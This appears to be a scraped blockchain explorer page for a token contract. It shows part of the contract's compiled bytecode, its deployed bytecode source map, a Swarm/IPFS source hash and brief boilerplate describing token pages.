d5b82356111b98161150f565b915060208301356111c98161150f565b809150509250929050565b6000806000606084860312156111e957600080fd5b83356111f48161150f565b925060208401356112048161150f565b929592945050506040919091013590565b6000806040838503121561122857600080fd5b82356112338161150f565b946020939093013593505050565b60008060006060848603121561125657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561129c57858101830151858201604001528201611280565b818111156112ae576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113495784516001600160a01b031683529383019391830191600101611324565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561137d5761137d6114e3565b500190565b60008261139f57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156113df5781600019048211156113c5576113c56114e3565b808516156113d257918102915b93841c93908002906113a9565b509250929050565b6000610dd660ff841683600082611400575060016102f6565b8161140d575060006102f6565b8160018114611423576002811461142d57611449565b60019150506102f6565b60ff84111561143e5761143e6114e3565b50506001821b6102f6565b5060208310610133831016604e8410600b841016171561146c575081810a6102f6565b61147683836113a4565b806000190482111561148a5761148a6114e3565b029392505050565b60008160001904831182151516156114ac576114ac6114e3565b500290565b6000828210156114c3576114c36114e3565b500390565b60006000198214156114dc576114dc6114e3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461152457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220feffda3e9065f270472c0c4cabd00f33e1993dbe329050ee13bb1a6e2580a2a064736f6c63430008070033
Deployed Bytecode Sourcemap
3685:6942:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5203:83;;;;;;;;;;-1:-1:-1;5273:5:0;;;;;;;;;;;;-1:-1:-1;;;5273:5:0;;;;5203:83;;;;;;;:::i;:::-;;;;;;;;6039:161;;;;;;;;;;-1:-1:-1;6039:161:0;;;;;:::i;:::-;;:::i;:::-;;;3301:14:1;;3294:22;3276:41;;3264:2;3249:18;6039:161:0;3136:187:1;5480:97:0;;;;;;;;;;;;;:::i;:::-;;;7575:25:1;;;7563:2;7548:18;5480:97:0;7429:177:1;6208:314:0;;;;;;;;;;-1:-1:-1;6208:314:0;;;;;:::i;:::-;;:::i;5389:83::-;;;;;;;;;;-1:-1:-1;5389:83:0;;4447:1;8738:36:1;;8726:2;8711:18;5389:83:0;8596:184:1;8765:295:0;;;;;;;;;;;;;:::i;:::-;;5585:120;;;;;;;;;;-1:-1:-1;5585:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;5678:19:0;5651:7;5678:19;;;:10;:19;;;;;;;5585:120;2731:148;;;;;;;;;;;;;:::i;2517:79::-;;;;;;;;;;-1:-1:-1;2555:7:0;2582:6;2517:79;;-1:-1:-1;;;;;2582:6:0;;;2153:51:1;;2141:2;2126:18;2517:79:0;2007:203:1;5294:87:0;;;;;;;;;;-1:-1:-1;5366:7:0;;;;;;;;;;;;-1:-1:-1;;;5366:7:0;;;;5294:87;;5713:167;;;;;;;;;;-1:-1:-1;5713:167:0;;;;;:::i;:::-;;:::i;9068:308::-;;;;;;;;;;;;;:::i;5888:143::-;;;;;;;;;;-1:-1:-1;5888:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5996:18:0;;;5969:7;5996:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5888:143;6039:161;6114:4;6131:39;2174:10;6154:7;6163:6;6131:8;:39::i;:::-;-1:-1:-1;6188:4:0;6039:161;;;;;:::o;5480:97::-;5533:7;4505:13;4447:1;4505:2;:13;:::i;:::-;4492:26;;:10;:26;:::i;:::-;5553:16;;5480:97;:::o;6208:314::-;6306:4;6323:36;6333:6;6341:9;6352:6;6323:9;:36::i;:::-;6371:121;6380:6;2174:10;6402:89;6440:6;6402:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6402:19:0;;;;;;:11;:19;;;;;;;;2174:10;6402:33;;;;;;;;;;:37;:89::i;:::-;6371:8;:121::i;:::-;-1:-1:-1;6510:4:0;6208:314;;;;;:::o;8765:295::-;2644:6;;-1:-1:-1;;;;;2644:6:0;2174:10;2644:22;2636:67;;;;-1:-1:-1;;;2636:67:0;;;;;;;:::i;:::-;;;;;;;;;8819:10:::1;:67:::0;;-1:-1:-1;;;;;;8819:67:0::1;8843:42;8819:67:::0;;::::1;::::0;;;8897:55:::1;::::0;8914:4:::1;::::0;4505:13:::1;4447:1;4505:2;:13;:::i;:::-;4492:26;::::0;:10:::1;:26;:::i;8897:55::-;8986:10;::::0;;:20:::1;::::0;;-1:-1:-1;;;8986:20:0;;;;-1:-1:-1;;;;;8986:10:0;;::::1;::::0;:18:::1;::::0;:20;;::::1;::::0;::::1;::::0;;;;;;;:10;:20;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8974:44:0::1;;9027:4;9034:10;;;;;;;;;-1:-1:-1::0;;;;;9034:10:0::1;-1:-1:-1::0;;;;;9034:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8974:78;::::0;-1:-1:-1;;;;;;8974:78:0::1;::::0;;;;;;-1:-1:-1;;;;;2445:15:1;;;8974:78:0::1;::::0;::::1;2427:34:1::0;2497:15;;2477:18;;;2470:43;2362:18;;8974:78:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8963:8;:89:::0;;-1:-1:-1;;;;;;8963:89:0::1;-1:-1:-1::0;;;;;8963:89:0;;;::::1;::::0;;;::::1;::::0;;8765:295::o;2731:148::-;2644:6;;-1:-1:-1;;;;;2644:6:0;2174:10;2644:22;2636:67;;;;-1:-1:-1;;;2636:67:0;;;;;;;:::i;:::-;2838:1:::1;2822:6:::0;;2801:40:::1;::::0;-1:-1:-1;;;;;2822:6:0;;::::1;::::0;2801:40:::1;::::0;2838:1;;2801:40:::1;2869:1;2852:19:::0;;-1:-1:-1;;;;;;2852:19:0::1;::::0;;2731:148::o;5713:167::-;5791:4;5808:42;2174:10;5832:9;5843:6;5808:9;:42::i;9068:308::-;2644:6;;-1:-1:-1;;;;;2644:6:0;2174:10;2644:22;2636:67;;;;-1:-1:-1;;;2636:67:0;;;;;;;:::i;:::-;9132:13:::1;::::0;::::1;::::0;::::1;;;9131:14;9123:49;;;::::0;-1:-1:-1;;;9123:49:0;;7279:2:1;9123:49:0::1;::::0;::::1;7261:21:1::0;7318:2;7298:18;;;7291:30;7357:25;7337:18;;;7330:53;7400:18;;9123:49:0::1;7077:347:1::0;9123:49:0::1;9183:10;::::0;-1:-1:-1;;;;;9183:10:0::1;:26;9217:21;9248:4;9254:24;9248:4:::0;-1:-1:-1;;;;;5678:19:0;5651:7;5678:19;;;:10;:19;;;;;;;5585:120;9254:24:::1;9279:1;9281::::0;9283:7:::1;2555::::0;2582:6;-1:-1:-1;;;;;2582:6:0;;2517:79;9283:7:::1;9183:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9183:124:0;;;-1:-1:-1;;;;;2883:15:1;;;9183:124:0::1;::::0;::::1;2865:34:1::0;2915:18;;;2908:34;;;;2958:18;;;2951:34;;;;3001:18;;;2994:34;3065:15;;;3044:19;;;3037:44;9291:15:0::1;3097:19:1::0;;;3090:35;2799:19;;9183:124:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9318:12:0::1;:19:::0;;-1:-1:-1;;9348:20:0;;;;;-1:-1:-1;9068:308:0:o;6530:335::-;-1:-1:-1;;;;;6623:19:0;;6615:68;;;;-1:-1:-1;;;6615:68:0;;6874:2:1;6615:68:0;;;6856:21:1;6913:2;6893:18;;;6886:30;6952:34;6932:18;;;6925:62;-1:-1:-1;;;7003:18:1;;;6996:34;7047:19;;6615:68:0;6672:400:1;6615:68:0;-1:-1:-1;;;;;6702:21:0;;6694:68;;;;-1:-1:-1;;;6694:68:0;;4536:2:1;6694:68:0;;;4518:21:1;4575:2;4555:18;;;4548:30;4614:34;4594:18;;;4587:62;-1:-1:-1;;;4665:18:1;;;4658:32;4707:19;;6694:68:0;4334:398:1;6694:68:0;-1:-1:-1;;;;;6773:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6825:32;;7575:25:1;;;6825:32:0;;7548:18:1;6825:32:0;;;;;;;6530:335;;;:::o;6873:721::-;-1:-1:-1;;;;;6961:18:0;;6953:68;;;;-1:-1:-1;;;6953:68:0;;6468:2:1;6953:68:0;;;6450:21:1;6507:2;6487:18;;;6480:30;6546:34;6526:18;;;6519:62;-1:-1:-1;;;6597:18:1;;;6590:35;6642:19;;6953:68:0;6266:401:1;6953:68:0;-1:-1:-1;;;;;7040:18:0;;7032:66;;;;-1:-1:-1;;;7032:66:0;;4132:2:1;7032:66:0;;;4114:21:1;4171:2;4151:18;;;4144:30;4210:34;4190:18;;;4183:62;-1:-1:-1;;;4261:18:1;;;4254:33;4304:19;;7032:66:0;3930:399:1;7032:66:0;7124:1;7117:4;:8;7109:62;;;;-1:-1:-1;;;7109:62:0;;6058:2:1;7109:62:0;;;6040:21:1;6097:2;6077:18;;;6070:30;6136:34;6116:18;;;6109:62;-1:-1:-1;;;6187:18:1;;;6180:39;6236:19;;7109:62:0;5856:405:1;7109:62:0;7184:14;7201:34;7218:4;7224;7230;7201:16;:34::i;:::-;7184:51;-1:-1:-1;7251:10:0;;7248:159;;7322:4;7303:25;;;;:10;:25;;;;;;:37;;7333:6;7303:29;:37::i;:::-;7294:4;7275:25;;;;:10;:25;;;;;;;:65;;;;7358:37;;-1:-1:-1;;;;;7358:37:0;;;;;;;7388:6;7575:25:1;;7563:2;7548:18;;7429:177;7358:37:0;;;;;;;;7248:159;-1:-1:-1;;;;;7438:16:0;;;;;;:10;:16;;;;;;:26;;7459:4;7438:20;:26::i;:::-;-1:-1:-1;;;;;7419:16:0;;;;;;:10;:16;;;;;:45;7494:38;7515:16;:4;7524:6;7515:8;:16::i;:::-;-1:-1:-1;;;;;7494:16:0;;;;;;:10;:16;;;;;;;:20;:38::i;:::-;-1:-1:-1;;;;;7475:16:0;;;;;;;:10;:16;;;;;:57;;;;7548:38;;;7569:16;:4;7578:6;7569:8;:16::i;:::-;7548:38;;7575:25:1;;;7563:2;7548:18;:38:0;;;;;;;6942:652;6873:721;;;:::o;645:190::-;731:7;767:12;759:6;;;;751:29;;;;-1:-1:-1;;;751:29:0;;;;;;;;:::i;:::-;-1:-1:-1;791:9:0;803:5;807:1;803;:5;:::i;:::-;791:17;645:190;-1:-1:-1;;;;;645:190:0:o;9384:1240::-;9468:7;;9527;2555;2582:6;-1:-1:-1;;;;;2582:6:0;;2517:79;9527:7;-1:-1:-1;;;;;9519:15:0;:4;-1:-1:-1;;;;;9519:15:0;;;:34;;;;-1:-1:-1;2555:7:0;2582:6;-1:-1:-1;;;;;9538:15:0;;;2582:6;;9538:15;;9519:34;9515:974;;;9579:74;9649:3;9579:65;9599:15;;9589:9;;:25;9588:55;;9629:14;;9588:55;;;9616:12;;9588:55;9579:4;;:8;:65::i;:::-;:69;;:74::i;:::-;9682:8;;9570:83;;-1:-1:-1;;;;;;9674:16:0;;;9682:8;;9674:16;:47;;;;-1:-1:-1;9710:10:0;;-1:-1:-1;;;;;9694:27:0;;;9710:10;;9694:27;;9674:47;:73;;;;-1:-1:-1;;;;;;9726:21:0;;;;;;:15;:21;;;;;;;;9725:22;9674:73;9670:125;;;9768:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9670:125;9822:8;;-1:-1:-1;;;;;9814:16:0;;;9822:8;;9814:16;:40;;;;-1:-1:-1;;;;;;9834:20:0;;9849:4;9834:20;;9814:40;9811:166;;;9884:77;9957:3;9884:68;9904:16;;9894:9;;:26;9893:58;;9936:15;;9893:58;;;9922:13;;9884:4;;:8;:68::i;:77::-;9875:86;;9811:166;10034:4;9993:20;5678:19;;;:10;:19;;;;;;10061:9;;;;10060:10;:30;;;;-1:-1:-1;10082:8:0;;-1:-1:-1;;;;;10074:16:0;;;10082:8;;10074:16;10060:30;:46;;;;-1:-1:-1;10094:12:0;;;;;;;10060:46;:80;;;;;10122:18;;10110:9;;:30;10060:80;10056:422;;;10179:12;;10164;:27;10161:109;;;10210:60;10227:42;10231:4;10237:31;10241:12;10255;;10237:3;:31::i;:::-;10227:3;:42::i;:::-;10210:16;:60::i;:::-;10318:21;10410:33;10421:21;10410:10;:33::i;:::-;10142:336;10056:422;9555:934;9515:974;10500:12;10514;10528;10544:21;10554:4;10560;10544:9;:21::i;:::-;10499:66;;;;;;10583:33;10591:4;10597;10603;10609:6;10583:7;:33::i;:::-;10576:40;9384:1240;-1:-1:-1;;;;;;;;9384:1240:0:o;314:179::-;372:7;;404:5;408:1;404;:5;:::i;:::-;392:17;;433:1;428;:6;;420:46;;;;-1:-1:-1;;;420:46:0;;4939:2:1;420:46:0;;;4921:21:1;4978:2;4958:18;;;4951:30;5017:29;4997:18;;;4990:57;5064:18;;420:46:0;4737:351:1;420:46:0;484:1;314:179;-1:-1:-1;;;314:179:0:o;501:136::-;559:7;586:43;590:1;593;586:43;;;;;;;;;;;;;;;;;:3;:43::i;843:246::-;901:7;925:6;921:47;;-1:-1:-1;955:1:0;948:8;;921:47;978:9;990:5;994:1;990;:5;:::i;:::-;978:17;-1:-1:-1;1023:1:0;1014:5;1018:1;978:17;1014:5;:::i;:::-;:10;1006:56;;;;-1:-1:-1;;;1006:56:0;;5295:2:1;1006:56:0;;;5277:21:1;5334:2;5314:18;;;5307:30;5373:34;5353:18;;;5346:62;-1:-1:-1;;;5424:18:1;;;5417:31;5465:19;;1006:56:0;5093:397:1;1097:132:0;1155:7;1182:39;1186:1;1189;1182:39;;;;;;;;;;;;;;;;;:3;:39::i;8513:99::-;8570:7;8598:1;8596;:3;8595:9;;8603:1;8595:9;;;-1:-1:-1;8601:1:0;8513:99;-1:-1:-1;8513:99:0:o;7602:468::-;4853:9;:16;;-1:-1:-1;;4853:16:0;4865:4;4853:16;;;7704::::1;::::0;;7718:1:::1;7704:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7704:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7704:16:0::1;7680:40;;7749:4;7731;7736:1;7731:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;7731:23:0::1;;;-1:-1:-1::0;;;;;7731:23:0::1;;;::::0;::::1;7775:10;;;;;;;;;-1:-1:-1::0;;;;;7775:10:0::1;-1:-1:-1::0;;;;;7775:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7765:4;7770:1;7765:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7765:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;7835:10:::1;::::0;7803:57:::1;::::0;7820:4:::1;::::0;7835:10:::1;7848:11:::0;7803:8:::1;:57::i;:::-;7871:10;::::0;;:191:::1;::::0;-1:-1:-1;;;7871:191:0;;-1:-1:-1;;;;;7871:10:0;;::::1;::::0;:61:::1;::::0;:191:::1;::::0;7947:11;;7871:10:::1;::::0;7989:4;;8016::::1;::::0;8036:15:::1;::::0;7871:191:::1;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4892:9:0;:17;;-1:-1:-1;;4892:17:0;;;-1:-1:-1;;;;7602:468:0:o;8620:99::-;8683:10;;8675:36;;-1:-1:-1;;;;;8683:10:0;;;;8675:36;;;;;8704:6;;8683:10;8675:36;8683:10;8675:36;8704:6;8683:10;8675:36;;;;;;;;;;;;;;;;;;;;;8620:99;:::o;8251:254::-;8319:7;;;8360:9;:21;;;;:49;;-1:-1:-1;8399:9:0;8383:26;;;;:15;:26;;;;;;;;8360:49;8357:98;;;-1:-1:-1;8433:4:0;;-1:-1:-1;8439:9:0;;-1:-1:-1;8450:4:0;8425:30;;8357:98;-1:-1:-1;;8480:10:0;;8474:4;;-1:-1:-1;;;;;;8480:10:0;8492:4;8251:254;;;;;;:::o;8078:165::-;8167:7;8187:35;8196:4;8202;8207:14;:4;8216;8207:8;:14::i;8187:35::-;-1:-1:-1;8231:4:0;8078:165;-1:-1:-1;;;8078:165:0:o;1237:189::-;1323:7;1358:12;1351:5;1343:28;;;;-1:-1:-1;;;1343:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1382:9:0;1394:5;1398:1;1394;:5;:::i;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:52;;;1521:1;1518;1511:12;1473:52;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1376:315:1:o;1696:306::-;1784:6;1792;1800;1853:2;1841:9;1832:7;1828:23;1824:32;1821:52;;;1869:1;1866;1859:12;1821:52;1898:9;1892:16;1882:26;;1948:2;1937:9;1933:18;1927:25;1917:35;;1992:2;1981:9;1977:18;1971:25;1961:35;;1696:306;;;;;:::o;3328:597::-;3440:4;3469:2;3498;3487:9;3480:21;3530:6;3524:13;3573:6;3568:2;3557:9;3553:18;3546:34;3598:1;3608:140;3622:6;3619:1;3616:13;3608:140;;;3717:14;;;3713:23;;3707:30;3683:17;;;3702:2;3679:26;3672:66;3637:10;;3608:140;;;3766:6;3763:1;3760:13;3757:91;;;3836:1;3831:2;3822:6;3811:9;3807:22;3803:31;3796:42;3757:91;-1:-1:-1;3909:2:1;3888:15;-1:-1:-1;;3884:29:1;3869:45;;;;3916:2;3865:54;;3328:597;-1:-1:-1;;;3328:597:1:o;5495:356::-;5697:2;5679:21;;;5716:18;;;5709:30;5775:34;5770:2;5755:18;;5748:62;5842:2;5827:18;;5495:356::o;7611:980::-;7873:4;7921:3;7910:9;7906:19;7952:6;7941:9;7934:25;7978:2;8016:6;8011:2;8000:9;7996:18;7989:34;8059:3;8054:2;8043:9;8039:18;8032:31;8083:6;8118;8112:13;8149:6;8141;8134:22;8187:3;8176:9;8172:19;8165:26;;8226:2;8218:6;8214:15;8200:29;;8247:1;8257:195;8271:6;8268:1;8265:13;8257:195;;;8336:13;;-1:-1:-1;;;;;8332:39:1;8320:52;;8427:15;;;;8392:12;;;;8368:1;8286:9;8257:195;;;-1:-1:-1;;;;;;;8508:32:1;;;;8503:2;8488:18;;8481:60;-1:-1:-1;;;8572:3:1;8557:19;8550:35;8469:3;7611:980;-1:-1:-1;;;7611:980:1:o;8785:128::-;8825:3;8856:1;8852:6;8849:1;8846:13;8843:39;;;8862:18;;:::i;:::-;-1:-1:-1;8898:9:1;;8785:128::o;8918:217::-;8958:1;8984;8974:132;;9028:10;9023:3;9019:20;9016:1;9009:31;9063:4;9060:1;9053:15;9091:4;9088:1;9081:15;8974:132;-1:-1:-1;9120:9:1;;8918:217::o;9140:422::-;9229:1;9272:5;9229:1;9286:270;9307:7;9297:8;9294:21;9286:270;;;9366:4;9362:1;9358:6;9354:17;9348:4;9345:27;9342:53;;;9375:18;;:::i;:::-;9425:7;9415:8;9411:22;9408:55;;;9445:16;;;;9408:55;9524:22;;;;9484:15;;;;9286:270;;;9290:3;9140:422;;;;;:::o;9567:140::-;9625:5;9654:47;9695:4;9685:8;9681:19;9675:4;9761:5;9791:8;9781:80;;-1:-1:-1;9832:1:1;9846:5;;9781:80;9880:4;9870:76;;-1:-1:-1;9917:1:1;9931:5;;9870:76;9962:4;9980:1;9975:59;;;;10048:1;10043:130;;;;9955:218;;9975:59;10005:1;9996:10;;10019:5;;;10043:130;10080:3;10070:8;10067:17;10064:43;;;10087:18;;:::i;:::-;-1:-1:-1;;10143:1:1;10129:16;;10158:5;;9955:218;;10257:2;10247:8;10244:16;10238:3;10232:4;10229:13;10225:36;10219:2;10209:8;10206:16;10201:2;10195:4;10192:12;10188:35;10185:77;10182:159;;;-1:-1:-1;10294:19:1;;;10326:5;;10182:159;10373:34;10398:8;10392:4;10373:34;:::i;:::-;10443:6;10439:1;10435:6;10431:19;10422:7;10419:32;10416:58;;;10454:18;;:::i;:::-;10492:20;;9712:806;-1:-1:-1;;;9712:806:1:o;10523:168::-;10563:7;10629:1;10625;10621:6;10617:14;10614:1;10611:21;10606:1;10599:9;10592:17;10588:45;10585:71;;;10636:18;;:::i;:::-;-1:-1:-1;10676:9:1;;10523:168::o;10696:125::-;10736:4;10764:1;10761;10758:8;10755:34;;;10769:18;;:::i;:::-;-1:-1:-1;10806:9:1;;10696:125::o;10826:135::-;10865:3;-1:-1:-1;;10886:17:1;;10883:43;;;10906:18;;:::i;:::-;-1:-1:-1;10953:1:1;10942:13;;10826:135::o;10966:127::-;11027:10;11022:3;11018:20;11015:1;11008:31;11058:4;11055:1;11048:15;11082:4;11079:1;11072:15;11098:127;11159:10;11154:3;11150:20;11147:1;11140:31;11190:4;11187:1;11180:15;11214:4;11211:1;11204:15;11362:131;-1:-1:-1;;;;;11437:31:1;;11427:42;;11417:70;;11483:1;11480;11473:12;11417:70;11362:131;:::o
Swarm Source
ipfs://feffda3e9065f270472c0c4cabd00f33e1993dbe329050ee13bb1a6e2580a2a0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.